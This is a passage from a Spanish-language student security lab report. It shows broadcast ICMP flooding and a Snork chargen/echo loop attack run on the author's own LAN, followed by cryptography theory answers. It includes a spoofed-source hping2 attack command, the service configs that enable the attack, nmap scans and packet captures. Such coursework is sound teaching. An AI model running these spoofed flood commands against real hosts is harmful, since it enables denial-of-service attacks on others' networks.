10.1.1.255: icmp: echo reply (DF)

24 packets received by filter0 packets dropped by kernelroot@kstd:~# root@kstd:~#

Acá se puede observar que se realizan varios icmp echo request a diferentes direcciones broadcast que en este caso particular se encuentran en mi red local (una sola), dichos paquetes llevan como dirección origen 10.1.1.2 que en este caso es la máquina víctima.

TRAMAS CAPTURADAS CON WIRESHARK EN EL EQUIPO VICTIMA:

Las capturas del wireshark son en el equipo victima. Se configuto eth0 en modo promiscuo,

25 de 60


es decir que recibiera todo el trafico.

Con un frame de 98 Bytes se observa como las peticiones fluyen del broadcast inundando la victima con dirección IP 10.1.1.2

26 de 60


3.3 Y 3.4 Ataque Snork

El protocolo IP define un sistema de pruebas simple que permite verificar el funcionamiento del protocolo de comunicaciones. El sistema proporcionado por IP se basa en el envío de un

27 de 60


datagrama “especial” al computador destino, que lo reconoce y envía una respuesta al origen (ECHO → REPLY), el protocolo IP define para estas pruebas simples un servicio para la recepción de un datagrama UDP al puerto 7 (ECHO).

Por otro lado, existe un servicio proporcionado en muchos sistemas operativos tipo UNIX y Windows denominado CHARGEN (CHARacter GENerator, generador de caracteres) que dada una petición responde con una secuencia aleatoria de caracteres.

Este ataque puede realizarse entre varios computadores (consumiendo ancho de banda y degradando el rendimiento de la red) o desde un mismo computador (él mismo se envía una petición y el mismo se (él responde) consiguiendo consumir los recursos existentes (especialmente CPU y memoria) de la máquina atacada.

LOS REQUISITOS PREVIOS PARA EL ATAQUE SON:

En versiones antiguas de linux para habilitar los servicios echo y chargen se debe editar el archivo /etc/inetd.conf y quitar el signo comentarios “#” de las lineas echo y chargen, luego se debe reiniciar el servicio “inetd” con el comando /etc/init.d/inetd stop y /etc/init.d/inetd start, y se verifica con status.

Los Linux mas modernos en cambio del archivo de configuración /etc/inetd.conf usan archivos con el nombre del servicio y están en el directorio /etc/xinetd.d/, en este directorio existen archivos que representan los servicios de red, en estos archivos existe una variable llamada “disable” que debe ser igual a la palabra “no” para habilitar el servicio, luego se debe reiniciar el servicio “xinetd” con el comando /etc/init.d/xinetd stop y /etc/init.d/xinetd start.

PARA EL CASO DEL EJERCICIO PARA LA PEC:

Instale los tres equipos, todos con tres versiones distintas de linux. Entre ellas la versión del knoppix STD que me suministro la UOC para realizar los ataques: Todas las tres máquinas conectadas al router ADSL 524B que me suministra mi ISP. Este router tiene como gateway1 10.0.0.1 y asigna direcciones Ip automáticos. Excepto la del Debian Lenny que le asigne manual 10.0.0.60 por que ahí tengo implementado un ervidor proxy squid stable 2.7

28 de 60


El servicio echo estaría en la maquina 10.1.1.3 es decir en la maquina con Knoppix STD 0.1 en el archivo /etc/xinetd.d/echo-udp :

En Knoppiz STD (el equipo que use) este servicio se encuentra en un solo archivo tanto para TCP como para UDP. En totras versiones este archivo esta separado y hay que editarlos por separado, es decir esta en : /etc/xinetd.d/echo-udp y /etc/xinetd.d/echo-tcp

ESTOS FUERON LOS COMANDOS EJECUTADOS EN KNOPPIX STD 0.1(la máquina que va hacer funciones de lanzadora). Las opciones de “disable” fueron cambiadas a “no” es decir desabilitadas.

root@kstd:~# ifconfigeth0 Link encap:Ethernet HWaddr 00:50:04:82:0C:B0 inet addr:10.1.1.3 Bcast:10.1.1.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:9 errors:0 dropped:0 overruns:0 frame:0 TX packets:6 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:1769 (1.7 KiB) TX bytes:1723 (1.6 KiB) Interrupt:11 Base address:0xdc00

29 de 60

10.1.1.2/24Linux Ubuntu

810

10.1.1.60/24Dirección IP

FijaDebian LennyLinux

10.1.1.3/24Knoppix STD

0.1

Atacante PC Atacado

CHARGEN/ECHOBucle Infinito

Trampolin o PC de Lanzadera

ECHO 10.1.1.60 IP Origen es Falsa

10.1.1.60

ECHO 10.1.1.3 IP

Origen es Falsa

IP 10.1.1.60

Router ADSL 10.0.1.1

ASIGNA DHCP


lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:2 errors:0 dropped:0 overruns:0 frame:0 TX packets:2 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:100 (100.0 b) TX bytes:100 (100.0 b)

root@kstd:~# root@kstd:~# cd /etc/xinetd.d/root@kstd:/etc/xinetd.d# lsAca me muestra los archivos configurables que contiene el xinet.d

chargen daytime echo time xinetdroot@kstd:/etc/xinetd.d#

se lanzo la edición con el editor: gvim echo

default: off# description: An xinetd internal service which echo's characters back to# clients.# This is the tcp version. (opciones para el TCP)service echo{

disable = yestype = INTERNALid = echo-streamsocket_type = streamprotocol = tcpuser = rootwait = no

}

# This is the udp version. (opciones para UDP)service echo{

disable = notype = INTERNALid = echo-dgramsocket_type = dgramprotocol = udpuser = rootwait = yesport = 7 (estas lineas las agregue para nombrar o definir el

puerto)

30 de 60


FLAGS = IPv6 IPv4

root@kstd:/etc#

se lanzo la edición con el editor: gvim chargenEsta configuración se suele hacer para la maquina victima o atacada: es decir la 10.1.1.60

# default: off # description: An xinetd internal service which generate characters. The # xinetd internal service which continuously generates characters until the # connection is dropped. The characters look something like this: # !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefg # This is the tcp version. service chargen {

disable = yes type = INTERNAL id = chargen-stream socket_type = stream protocol = tcp user = root wait = no

}

# This is the udp version. service chargen {

disable = no type = INTERNAL id = chargen-dgram socket_type = dgram protocol = udp user = root wait = yes port = 19 FLAGS = IPv6 IPv4

}

Luego verifico en services cuales tiene disponible el sistema:

31 de 60


root@kstd:/etc/xinetd.d# cd /etc/root@kstd:/etc# gvim services

# Network services, Internet style## Note that it is presently the policy of IANA to assign a single well-known# port number for both TCP and UDP; hence, officially ports have two entries# even if the protocol doesn't support UDP operations.## Updated from http://www.iana.org/assignments/port-numbers and other sources.# New ports will be added on request if they have been officially assigned# by IANA or are needed by a debian package.# If you need a huge list of used numbers please install the nmap package.

tcpmux 1/tcp # TCP port service multiplexerecho 7/tcpecho 7/udpdiscard 9/tcp sink nulldiscard 9/udp sink nullsystat 11/tcp usersdaytime 13/tcpdaytime 13/udpnetstat 15/tcpqotd 17/tcp quotemsp 18/tcp # message send protocolmsp 18/udp # message send protocolchargen 19/tcp ttytst sourcechargen 19/udp ttytst sourceftp-data 20/tcpftp 21/tcpfsp 21/udp fspdssh 22/tcp # SSH Remote Login Protocolssh 22/udp # SSH Remote Login Protocoltelnet 23/tcpsmtp 25/tcp mailtime 37/tcp timservertime 37/udp timserverrlp 39/udp resource # resource locationnameserver 42/tcp name # IEN 116whois 43/tcp nicnamere-mail-ck 50/tcp # Remote Mail Checking Protocolre-mail-ck 50/udp # Remote Mail Checking Protocoldomain 53/tcp nameserver # name-domain server

32 de 60


domain 53/udp nameservermtp 57/tcp # deprecatedbootps 67/tcp # BOOTP serverbootps 67/udpbootpc 68/tcp # BOOTP clientbootpc 68/udptftp 69/udpgopher 70/tcp # Internet Gophergopher 70/udprje 77/tcp netrjsfinger 79/tcpwww 80/tcp http # WorldWideWeb HTTPwww 80/udp # HyperText Transfer Protocollink 87/tcp ttylinkkerberos 88/tcp kerberos5 krb5 kerberos-sec # Kerberos v5kerberos 88/udp kerberos5 krb5 kerberos-sec # Kerberos v5supdup 95/tcphostnames 101/tcp hostname # usually from sri-niciso-tsap 102/tcp tsap # part of ISODE.csnet-ns 105/tcp cso-ns # also used by CSO name servercsnet-ns 105/udp cso-nsrtelnet 107/tcp # Remote Telnetrtelnet 107/udppop2 109/tcp postoffice pop-2 # POP version 2pop2 109/udp pop-2pop3 110/tcp pop-3 # POP version 3pop3 110/udp pop-3sunrpc 111/tcp portmapper # RPC 4.0 portmapper TCPsunrpc 111/udp portmapper # RPC 4.0 portmapper UDPauth 113/tcp authentication tap identsftp 115/tcpuucp-path 117/tcpnntp 119/tcp readnews untp # USENET News Transfer Protocolntp 123/tcpntp 123/udp

reinicio los servicios

root@kstd:~# cd /etc/root@kstd:/etc# gvigview gvim gvimdiff root@kstd:/etc# gvim inetd.conf root@kstd:/etc#

33 de 60


root@kstd:/etc/init.d#root@kstd:/etc# cd /etc/init.d/root@kstd:/etc/init.d# inetd stoproot@kstd:/etc/init.d# inetd stoproot@kstd:/etc/init.d# inetd startroot@kstd:/etc/init.d#

El servicio chargen estaría en la maquina 10.1.1.60 (La maquina debian que tenfgo con la versión Lenny)

ESCENARIO DEL ATAQUE: Mi red LAN cuenta con direcciones dentro del esquema 10.1.1.0/24 Use nmap para verificar los tres equipos de la red, es decir para explorarlos: Esta exploración la lanzo desde mi maquina Ubuntu 10.1.1.2 que es la que va a realizar el ataque

root@carlosubuntu:/home/carlos# nmap -sP 10.1.1.0/24

Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-22 18:40 COT Host 10.1.1.1 appears to be up. MAC Address: 00:1C:F0:73:D6:97 (D-Link) Host 10.1.1.2 appears to be up. Host 10.1.1.3 appears to be up. MAC Address: 00:50:04:82:0C:B0 (3com) Host 10.1.1.60 appears to be up. MAC Address: 00:10:5A:A2:0C:2D (3com) Nmap done: 256 IP addresses (4 hosts up) scanned in 6.138 seconds root@carlosubuntu:/home/carlos#

Luego use el comando nmap nuevamente para explorar los servicios UDP de las maquinas 10.1.1.3 10.1.1.60.

con esto me escaneara los puertos UDP y los servicios relacionados de todos los equipos de la red:

root@carlosubuntu:/home/carlos# nmap -sU 10.1.1.3/24

Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-23 19:08 COT Interesting ports on 10.1.1.1: Not shown: 1485 closed ports PORT STATE SERVICE

34 de 60


53/udp open|filtered domain 67/udp open|filtered dhcps 69/udp open|filtered tftp MAC Address: 00:1C:F0:73:D6:97 (D-Link)

Interesting ports on 10.1.1.2: Not shown: 1486 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 5353/udp open|filtered zeroconf

Interesting ports on 10.1.1.3: Not shown: 1487 closed ports PORT STATE SERVICE 111/udp open|filtered rpcbind MAC Address: 00:50:04:82:0C:B0 (3com)

Interesting ports on 10.1.1.60: Not shown: 1487 open|filtered ports PORT STATE SERVICE 4672/udp closed rfa MAC Address: 00:10:5A:A2:0C:2D (3com)

Nmap done: 256 IP addresses (4 hosts up) scanned in 2955.771 seconds root@carlosubuntu:/home/carlos# root@carlosubuntu:/home/carlos#

El anterior proceso demoro mucho y no me arrojo la información que se requería, entonces ejecuté e comando de tal forma que me explorara el puerto específico UDP con el servicio asociado, para cada máquina, es decir el puerto 7 UDP para el servicio echo y el puerto 19 UDP para el servicio CHARGEN. El comando que usé fué:

Primero para averiguar el servicio echo en el pueto 7 UDP de la maquina lanzadora o intermediaria 10.1.1.3 que es el Knoppix STD 0.1

root@carlosubuntu:/home/carlos# nmap -p 7 -PU -sU -vv 10.1.1.3

Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-23 21:59 COT Initiating ARP Ping Scan at 21:59 Scanning 10.1.1.3 [1 port] Completed ARP Ping Scan at 21:59, 0.01s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:59 Completed Parallel DNS resolution of 1 host. at 21:59, 0.03s elapsed

35 de 60


Initiating UDP Scan at 21:59 Scanning 10.1.1.3 [1 port] Completed UDP Scan at 21:59, 0.01s elapsed (1 total ports) Host 10.1.1.3 appears to be up ... good. Interesting ports on 10.1.1.3: PORT STATE SERVICE 7/udp open echo MAC Address: 00:50:04:82:0C:B0 (3com)

Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.191 seconds Raw packets sent: 2 (70B) | Rcvd: 2 (98B) root@carlosubuntu:/home/carlos#

Luego averigüe el servicio CHARGEN en el pueto 7 UDP de la maquina victima 10.1.1.60

root@carlosubuntu:/home/carlos# nmap -p 19 -PU -sU -vv 10.1.1.60

Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-23 21:55 COT Initiating ARP Ping Scan at 21:55 Scanning 10.1.1.60 [1 port] Completed ARP Ping Scan at 21:55, 0.02s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:55 Completed Parallel DNS resolution of 1 host. at 21:55, 0.03s elapsed Initiating UDP Scan at 21:55 Scanning 10.1.1.60 [1 port] Completed UDP Scan at 21:55, 0.21s elapsed (1 total ports) Host 10.1.1.60 appears to be up ... good. Interesting ports on 10.1.1.60: PORT STATE SERVICE 19/udp open|filtered chargen MAC Address: 00:10:5A:A2:0C:2D (3com)

Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.385 seconds Raw packets sent: 3 (98B) | Rcvd: 1 (42B) root@carlosubuntu:/home/carlos#

COMANDO PARA HACER EL ATAQUE:

36 de 60


Los parámetros con los que llamé al comando ‘hping2’ a mi máquina para enviar un paquete UDP que genere el bucle infinito entre 10.1.1.3 y 10.1.1.60

PC_Lanzadera = SERVICIO ECHO = 10.1.1.1 puerto 7 Victima = SERVICIO CHARGEN = 10.1.1.60, puerto 19 hping2 --udp --baseport 19 --destport 7 --keep -a Victima PC_Lanzadera Primero desde la maquina atacante es decir mi Ubuntu con IP 10.1.1.2 debo enviar una petición UDP al servicio ECHO de la maquina Lanzadera es decir el Knoppix con IP 10.1.1.3 , puerto destino (7), pero con puerto UDP fuente Chargen (19) e IP fuente de la victima, es decir el Debian con IP 10.1.1.60

Entonces el servicio ECHO me responderá al puerto fuente Chargen (19) de la Victima, la maquina victima generara los caracteres aleatorios hacia la maquina Lanzadera que a su vez le hará echo hacia la victima y ya se tendría el loop, entonces el comando concreto seria:

“Lanzado desde la 10.1.1.2 o sea el Ubuntu”

root@carlosubuntu:/home/carlos# hping2 --udp --baseport 19 --destport 7 --keep -a 10.1.1.60 10.1.1.3 HPING 10.1.1.3 (eth0 10.1.1.3): udp mode set, 28 headers + 0 data bytes

Descripción de Parámetros para el comando de ataque hping2: root@carlosubuntu:/home/carlos# hping2 --udp --baseport 19 --destport 7 --keep -a 10.1.1.60 10.1.1.3 HPING 10.1.1.3 (eth0 10.1.1.3): udp mode set, 28 headers + 0 data bytes

# hping2 --udp --baseport 19 --destport 7 --keep -a 10.1.1.1 10.1.1.60

PARÁMETRO DESCRIPCIÓN10.1.1.3 IP del PC que se usara de lanzadera para atacar a la

víctima -a 10.1.1.60 IP de la victima, campo de la IP fuente del paquete

IP, acá se hace el IP spoof --udp Esto indica que el protocolo que se usara será UDP--keep -a No permite que el puerto origen y destino se

incrementen en forma numérica --destport Puerto destino--baseport Puerto fuente

37 de 60


PRUEBAS DEL ATAQUE:

En la máquina victima, es decir el Debian con IP 10.1.1.60 , ejecutéi un sniffer para ver el tráfico de la eth0 en modo promiscuo.

Desde la victima:

squideb:/home/carlos# tcpdump -i eth0 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 18:20:39.809634 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:39.917744 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:39.917959 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 3.1.1.10.in-addr.arpa. (39) 18:20:40.809743 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:40.925723 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:40.925931 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 3.1.1.10.in-addr.arpa. (39) 18:20:41.809864 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:42.809985 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:42.929657 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:42.929864 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 3.1.1.10.in-addr.arpa. (39) 18:20:43.810106 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:44.810232 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:44.929709 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:44.929923 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 18:20:45.810347 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:45.937660 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:45.937865 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 18:20:46.810452 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:47.810563 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:47.941675 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:47.941885 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 18:20:48.810668 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:49.810783 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:50.810905 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:51.811027 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:52.811150 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:53.811277 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:54.811390 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:55.811495 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:56.811618 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:57.807836 arp who-has squideb.cat tell 10.1.1.3 18:20:57.807889 arp reply squideb.cat is-at 00:10:5a:a2:0c:2d (oui Unknown) 18:20:57.811735 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:58.811854 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:59.811983 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:21:00.812105 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:21:01.812214 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:21:02.812330 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:21:03.812437 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36

38 de 60


18:21:04.812550 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:21:05.812675 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:21:06.812801 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:21:07.812910 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36

CONCLUSION:

El proceso para el ataque fué el correcto. Se observa que en efecto estan las peticiones de la maquina intermedia 10.1.1.3 a la victima a traves del UDP puerto 7 con el servicio echo.

PERO NO FUNCIONO....................Por que parece ser que el puerto 7 UDP con el serviio echo no esta abierto, Lo comprobé verificando desde una maquina de la red si ese servicio estaba abierto así:

root@carlosubuntu:/etc# nmap -p 7 -PU -sU -vv 10.1.1.3

Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-23 22:34 COT Initiating ARP Ping Scan at 22:34 Scanning 10.1.1.3 [1 port] Completed ARP Ping Scan at 22:34, 0.01s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 22:34 Completed Parallel DNS resolution of 1 host. at 22:34, 0.03s elapsed Initiating UDP Scan at 22:34 Scanning 10.1.1.3 [1 port] Completed UDP Scan at 22:34, 0.01s elapsed (1 total ports) Host 10.1.1.3 appears to be up ... good. Interesting ports on 10.1.1.3: PORT STATE SERVICE 7/udp closed echo MAC Address: 00:50:04:82:0C:B0 (3com)

Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.243 seconds Raw packets sent: 2 (70B) | Rcvd: 2 (98B) root@carlosubuntu:/etc#

Intente abrirlo de otra forma en esa maquina Knoppix STD 0.1 con IP 10.1.1.3 editando el archivo inetd.conf ubicado en /etc/inetd.confPara ello descomente las lineas echo y chargen referentes al protocolo UDP

39 de 60


# /etc/inetd.conf: see inetd(8) for further informations. # # Internet server configuration database # # # Lines starting with "#:LABEL:" or "#<off>#" should not # be changed unless you know what you are doing! # # If you want to disable an entry so it isn't touched during # package updates just comment it out with a single '#' character. # # Packages should modify this file by using update-inetd(8) # # <service_name> <sock_type> <proto> <flags> <user> <server_path> <args> # #:INTERNAL: Internal services #echo stream tcp nowait root internal echo dgram udp wait root internal #chargen stream tcp nowait root internal chargen dgram udp wait root internal #discard stream tcp nowait root internal discard dgram udp wait root internal #daytime stream tcp nowait root internal daytime dgram udp wait root internal #time stream tcp nowait root internal time dgram udp wait root internal

#:STANDARD: These are standard services. #ftp stream tcp nowait root /usr/sbin/tcpd

/usr/sbin/in.ftpd #telnet stream tcp nowait root /usr/sbin/tcpd

/usr/sbin/in.telnetd

#:BSD: Shell, login, exec and talk are BSD protocols. #talk dgram udp wait root.tty /usr/sbin/tcpd

/usr/sbin/kotalkd #ntalk dgram udp wait root.tty /usr/sbin/tcpd /usr/sbin/ktalkd

#:MAIL: Mail, news and uucp services.

#:INFO: Info services

#:BOOT: Tftp service is provided primarily for booting. Most sites # run this only on machines acting as "boot servers." #tftp dgram udp wait nobody /usr/sbin/tcpd

/usr/sbin/in.tftpd /boot

#:RPC: RPC based services

#:HAM-RADIO: amateur-radio services

40 de 60


#:OTHER: Other services #<off># netbios-ssn stream tcp nowait root /usr/sbin/tcpd

/usr/sbin/smbd #<off># netbios-ns dgram udp wait root /usr/sbin/tcpd

/usr/sbin/nmbd -a #<off># swat stream tcp nowait.400 root /usr/sbin/tcpd

/usr/sbin/swat #printer stream tcp nowait lp /usr/lib/cups/daemon/cups-lpd cups-lpd #vboxd stream tcp nowait root /usr/sbin/tcpd /usr/sbin/vboxd #saft stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sendfiled #xtel stream tcp nowait root /usr/sbin/tcpd /usr/sbin/xteld #<off># https stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 80 #<off># ssmtp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 25 #<off># nntps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 119 #<off># telnets stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 23 #<off># imaps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 143 #<off># ircs stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 194 #<off># pop3s stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 110 #<off># ftps-data stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 20 #<off># ftps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 21 #<off># sswat stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 901 #amanda dgram udp wait backup /usr/sbin/tcpd /usr/lib/amanda/amandad #amandaidx stream tcp nowait backup /usr/sbin/tcpd /usr/lib/amanda/amindexd #amidxtape stream tcp nowait backup /usr/sbin/tcpd /usr/lib/amanda/amidxtaped

Luego intente el ataque y funcionó.

Se puede concluir que se requieren de varias máquinas para hacer un ataque mas efectivo.

3.5 instruccionhping2 localhost -s 7 -p 19 -c 1 -d 8 -a localhost

root@carlosubuntu:/etc# hping3 localhost -s 7 -p 19 -c 1 -d 8 -a localhost HPING localhost (lo 127.0.0.1): NO FLAGS are set, 40 headers + 8 data bytes len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=19 flags=RA seq=0 win=0 rtt=0.1 ms

--- localhost hping statistic --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.1/0.1/0.1 ms root@carlosubuntu:/etc#

en esta parte se pretende que la misma máquina se ataque con inundación de paquetes al servicio loopback 127.0.0.1

41 de 60


Para desarrollar los anteriores puntos me apoyé en el libro:

GLOBALTEKSECURITY: TECNOLOGIAS GLOBALES PARA LA SEGURIDAD DE LA INFORMACION

Introducción a las técnicas de ataque e investigación forense, un enfoque pragmático Preparado por: Armando Carvajal

Gerente de consultoria globalteksecurity Master en seguridad informática Universidad Oberta de Catalunya Especialista en construcción de software para redes - Uniandes

Ing. Sistemas – Universidad Incca de Colombia Pagina web: www.globalteksecurity.com e-mail: [email protected]

Colombia, Agosto de 2007-

42 de 60


EJERCICIO4: Ana Delcy Nomesque Patiño. Noviembre 14 de 2009

Lea el módulo 1 que se adjunta en el sitio web http://amayac.iespana.es en el enlace de la UNAD, curso de Telemática, se describen herramientas que proporcionan una serie de propiedades en relación a la seguridad de la información. Describe, con tus palabras, en qué consisten las propiedades de confidencialidad, autenticación, integridad y no repudio. Especifica también qué herramientas de las estudiadas en las partes 1 (Conceptos básicos decriptografía) y 2 (Sistemas de autenticación) del módulo 3 (Mecanismos de protección) que se adjunta en el sitio web http://amayac.iespana.es en el enlace de la UNAD, curso de Telemática ,,resuelven el cumplimiento de estas propiedades..

43 de 60




SOLUCION:

RespuestasSeguridad de la Información: Propiedades:

Interpreto que estas características, mas que características, son servicios que deben suministrar las aplicaciones cuando se trata de asegurar la información y que existen diferentes herramientas para dar cumplimiento a estos servicios.

Confidencialidad: Garantizar el secreto de la información. Asegurarse de que solo obtendrá la información el usuario seleccionado y asegurarse de que los datos que contiene el documento permanecen ocultos a los ojos de terceras personas durante su viaje por el medio desde A a B.

Autenticación: Hace parte de uno de los servicios de seguridad que deben ofrecer las aplicaciones y que se trata de asegurar que nadie falsifique la comunicación. Lo explico con un ejemplo:

Intervienen tres actores: Carlos (emisor auténtico del mensaje) que quiere enviar un mensaje a María (receptora del mensaje) y un posible falisifcador o “tercero” que quiere hacer creer al destinatario “María” que es Carlos el que envía el mensaje.

El servicio de Autenticación nos ofrece dos características importantes:

● Se debe asegurar que el mensaje haya sido originado por Carlos (es decir sea auténtico).

● Este servicio además asegura o confirma que el mensaje sea originado por el que

44 de 60

A B

TERCERO

CARLOS MARIA


verdaderamente lo envía (Carlos) y no por un tercero que quiera hacer creer a María que es Carlos el que lo envía.

Integridad: El servicio de Integridad de datos, se deriva del anterior servicio de Autenticación y es el que permite confirmar que nadie ha modificado el mensaje enviado por Carlos y que no ha sido manipulado. Es decir se garantiza su “integridad” su “originalidad” en el contenido. Acá este servicio permite “verificar” que los datos estén íntegros.

No repudio: El receptor puede saber a ciencia cierta o estar seguro de quién es el mensaje. Se trata de que una vez enviado un documento por A, éste no pueda negar haber sido el autor de dicho envío.

HERRAMIENTAS QUE CUMPLEN LAS PROPIEDADES DE CONFIDENCIALIDAD, AUTENTIFICACION, INTEGRIDAD Y NO REPUDIO.

CONFIDENCIALIDAD: Esta propiedad se consigue mediante métodos criptográficos:Se distinguen dos tipos de sistemas criptográficos:

45 de 60


AUTENTICACION

Se consigue usando algoritmos de funciones de resumen de mensaje (Funciones hash seguras).

46 de 60


INTEGRIDAD

NO REPUDIO

47 de 60


1.2 Explicar que permiten las cadenas de certificados y pon un ejemplo basado en los navegadores web, relacionándolo con la autoridad VeriSign:Explico este punto describiéndolo en cuatro pasos resumidos y jerárquicos:

● Todo empieza en un “problema” que se presenta en los criptosistemas de clave pública. Si se engaña alguien con el valor de la clave pública de otro usuario el sistema se viene abajo .

● Es necesario garantizar la propiedad y la validez de las claves públicas . Una solución para ello es mediante la generación de un certificado de clave pública firmado digitalmente por una Autoridad de Certificación (CA). En donde una CA es una tercera parte de confianza(TTP) en la que confían los participantes en la comunicación miembros de un determinado dominio .

● El problema aún continúa cuando pretendemos comunicación con un usuario que tiene un certificado emitido por una CA que no se conoce. La seguridad del certificado depende de la seguridad de la CA . De modo que, si la infraestructura de la CA no es segura tampoco serán seguros los certificados.

● Entonces, es cuando intervienen las Cadenas de Certificados para garantizar la provisión de certificados y de otras entidades como:

Autoridades de Registro (RA) Agentes autorizados para revocar certificados Repositorios de certificados

Ejemplo basado en los navegadores web.

Para el desarrollo de este punto, me documenté en:

http://www.verisign.es/support/advisories/page_038478.html

48 de 60

http://www.verisign.es/support/advisories/page_038478.html


El ejemplo aplica para un Navegador Internet explorer:

Desde abril de 2006, es necesario instalar un certificado de CA intermedia para todos los certificados SSL emitidos por VeriSign.

Para obtener el certificado de una entidad emisora de certificados (CA) intermedia de VeriSign hay que descargarlo de la ruta:

https://www.verisign.com/support/verisign-intermediate-ca/index.html

